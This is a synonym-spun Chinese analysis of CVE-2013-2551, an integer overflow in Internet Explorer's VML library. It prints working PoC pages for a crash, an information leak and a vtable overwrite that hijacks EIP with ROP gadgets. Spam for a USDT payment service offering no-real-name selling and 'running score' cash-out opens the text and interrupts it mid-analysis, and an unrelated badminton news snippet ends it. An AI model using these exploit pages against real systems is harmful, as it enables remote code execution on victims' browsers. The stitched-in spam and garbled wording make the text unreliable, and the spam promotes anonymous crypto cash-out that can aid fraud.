菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
0x01 破绽信息
0x01.1 破绽简述
- 编号:CVE-2013-2551
- 类型:整数溢出(Integer Overflow)
- 破绽影响:远程代码执行(RCE)
- CVSS 2.0:9.3
VGX.dll中COALineDashStyleArray::put_length
函数在处置length数据时未做有用验证,以致length为负数可造成整数溢出,进而实现随便读写。
0x01.2 破绽影响
Microsoft Internet Explorer 6—10
0x01.3 修复方案
MS13-037
0x02 破绽剖析
0x02.1 剖析环境
- OS版本:Windows XP Service Pack 3
- Internet Explorer版本:8.0.6001.18702
- VGX.dll版本:8.0.6001.18702
0x02.2 前置知识
VML的全称是Vector Markup Language(矢量可符号语言),其基于XML,矢量图形——意味着图形可以随便放大缩小而不损失图形的质量。VML相当于IE内里的画笔,能实现你所想要的图形,而且连系剧本,可以让图形发生动态的效果。(不仅是IE,Microsoft Office同样支持VML)
使用VML首先要通过<style>
引入:
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
之后声明VML Namespace:
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
云云便可添加VML元素以绘制图形。
一例:
<html>
<title>
VML Sample
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body>
<v:shape
fillcolor="green"
style="position:relative;top:1;left:1;width:200;height:200"
path = "m 1,1 l 1,200, 200,200, 200,1 x e">
</v:shape>
</body>
</html>
Shape是VML最基本的工具,行使它可以画出所有你想要的图形。其主要属性Path可参阅VML Path Attribute—Microsoft Docs。
0x02.3 详细剖析
使用IE打开poc.html
:
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
POC by VUPEN
</title>
<!-- Include the VML behavior -->
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<!-- Declare the VML namespace -->
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function crashme(){
var vml1 = document.getElementById("vml1")
var shape = document.getElementById("shape")
for (var i=0; i<0x400; i++){ //set up the heap
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation; //create a COARuntimeStyle
if (i == 0x300) { //allocate an ORG array of size B0h
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
vml1.dashstyle.array.length = 0 - 1
shape.dashstyle.array.length = 0 - 1
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
try{
shape.dashstyle.array.item(0x2E+0x16+i) = 0x4b5f5f4b;
}
catch(e) {continue}
}
}
}
</script>
<body onload="createRects();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
<v:oval>
<v:stroke dashstyle="2 2 2 0 2 2 2 0" id="shape"/>
</v:oval>
<input value="crash!!!"type="button" onclick="crashme();"></input>
</body>
</html>
允许阻止内容后,WinDbg附加历程并运行,单击crash
按钮,崩溃点如下:
使用gflags.exe
为iexplore.exe
开启页堆,WinDbg启动iexplore.exe
,通过.childdbg 1
下令启用子历程调试并运行后,崩溃点如下:
kb
查看挪用客栈:
重新启动iexplore.exe
,加载VGX.dll
完成后于ORG::Get
函数处设断,查看其this
参数:
继续向下剖析,可以看到vgx!ORG
工具结构偏移0x10处存储指向dashstyle
数组指针:
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
操作由memecpy
完成:
破绽成因显然不位于该函数,继续向上回溯至vgx!COALineDashStyleArray::get_item
,其挪用vgx!ORG::CElements
获取数组元素个数:
要读取元素下标需大于0xFFFFFFFF
,小于vgx!ORG
工具结构偏移0x04处值(WORD)。若下标正当,之后便会挪用vgx!ORG::Get
。可以从上图看到数组Length值0xffff
,该值需跟进COALineDashStyleArray::put_length
函数剖析。
首先获取数组原长度,与更改长度举行对照:
此处即为破绽触发位置,其挪用vgx!ORG::CElements
函数获取长度使用movzx eax, word ptr [eax+4]
指令,将长度看成无符号整数处置(而非接纳movsx
指令),但跳转语句jge
是基于有符号整数对照的跳转。
大于即是则会挪用vgx!ORG::DeleteRange
:
跟进发现其挪用MsoDeletePx
:
,菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
继续跟进,写入更改长度操作位于MsoFRemovePx
函数内:
云云一来,将数组Length修改为0xFFFF,进而可以实现越界读写——前文剖析vgx!COALineDashStyleArray::get_item
函数对应越界读操作,下面看越界写操作。该操作对应vgx!COALineDashStyleArray::put_item
函数,其与get_item
差别之处是挪用vgx!ORG::PGet
函数:
该函数用于盘算写入位置:
之后写入操作由put_item
中mov [eax], ecx
指令完成:
0x02.4 行使剖析
0x02.4a 信息泄露
有两种信息泄露方式,详见下文剖析。
_anchorRect
属性
接见_anchorRect
属性时会挪用COAShape::get__anchorRect
函数,而该函数会通过malloc
申请0x10字节空间:
该空间用于存储COAReturnedPointsForAnchor
工具:
云云一来,可申请大量空间存储COAReturnedPointsForAnchor
工具,中心放置Dashstyle Array,之后便可接见后续COAReturnedPointsForAnchor
工具虚表以获取VGX.dll基址。但笔者在举行结构时发现厥后并非紧接COAReturnedPointsForAnchor
工具:
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
....
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i==0x800){
vml1.dashstyle="1 2 3 4";
}
}
由上图可以看到是COAShape
工具,其虚表相对于VGX.dll基址偏移为0x82a48
。经盘算,读取该地址数组下标为0x12,故笔者组织信息泄露POC如下:
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
INFO LEAK
</title>
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body onload="createRects(); info_leak();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function info_leak(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i==0x800){
vml1.dashstyle="1 2 3 4";
}
}
vml1.dashstyle.array.length = 0 - 1;
var leak = vml1.dashstyle.array.item(0x12);
alert(leak-0x82a48);
}
</script>
</html>
_vgRuntimeStyle
属性
_vgRuntimeStyle.rotation
对应COARuntimeStyle::get_rotation
函数,首次接见会申请0xAC巨细空间(COARuntimeStyle::get_rotation
——>CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
):
现实占用空间巨细:
那么于其中插入Dashstyle Array巨细为0xB0(即44个元素,加上头部占用8字节,恰为0xB8):
之后写_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::put_marginLeft
函数,由于先前已经申请内存空间,该函数挪用CVMLShape::GetRTSInfo
——>CParserTag::GetRTSInfo
时便不会再次申请,而是返回内存地址,写入字符位置相对于该地址偏移为0x58:
而读_vgRuntimeStyle.marginLeft
,对应COARuntimeStyle::get_marginLeft
函数,该函数会将偏移0x58处指针指向内容读取出来:
云云一来,控制0x58处指针内容,可实现随便地址读取。
行使破绽可读写该地址处内容,下标为0x2E(0x2B对应数组最后一个元素,0x2C-0x2E是头部所占用12字节)+0x16(0x58/4)。完整POC如下:
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
INFO LEAK
</title>
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<body onload="createRects(); exploit();">
<v:oval style="width:100pt;height:50pt" fillcolor="red"></v:oval>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
alert( parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 ));
return;
}
}
}
</script>
</html>
0x02.4b 挟制EIP
后续笼罩虚表指针挟制EIP部门,可能是由于笔者环境问题,并未完成。重新搭建环境如下:
- OS版本:Windows 7 Service Pack 1 x86
- Internet Explorer版本:8.0.7601.17514
- VGX.dll版本:8.0.7600.16385
该环境下工具结构稍有差别:
可以有两种差别的方式笼罩虚表指针。
vgx!COAReturnedPointsForAnchor::vftable
:
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
vgx!COAShape::vftable
:
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
第一种行使方式若要将栈转移到堆上(没有找到类似xchg ecx,esp
直接交流ECX与ESP的gadget),需要再配合两次破绽举行越界写:
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\: * { behavior:url(,default,VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
var rect_array = new Array()
var a = new Array()
function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}
function exploit(){
var vml1 = document.getElementById("vml1")
for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(0xC) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xE) = 0x0c0c0c0c;
vml1.dashstyle.array.item(0xF) = ntdllbase+0xcb3e3;
for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
}
</script>
<body onload="createRects(); exploit();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
与之相配合堆上gadgets如下:
而第二种笼罩方式,直接用xchg eax,esp;ret
这样的gadget即可。两种行使方式效果展示:
0x03 参阅链接
- Vector Markup Language (VML)—Microsoft Docs
- Shape Element (VML)—Microsoft Docs
- VML Stroke Element—Microsoft Docs
- VML DashStyle Attribute
- VML教程—美洲豹
- <meta>—W3school
- VUPEN Blog
- Hpasserby Blog
救援瞬间 视频截图高大上的感觉
世界羽联今日证实,多名球员因感染新冠病毒而退出2022尤尼克斯瑞士公开赛。来自多个协会的多名球员在抵达前测试和抵达后测试呈阳性,因此被迫退出本次赛事。
刷文来了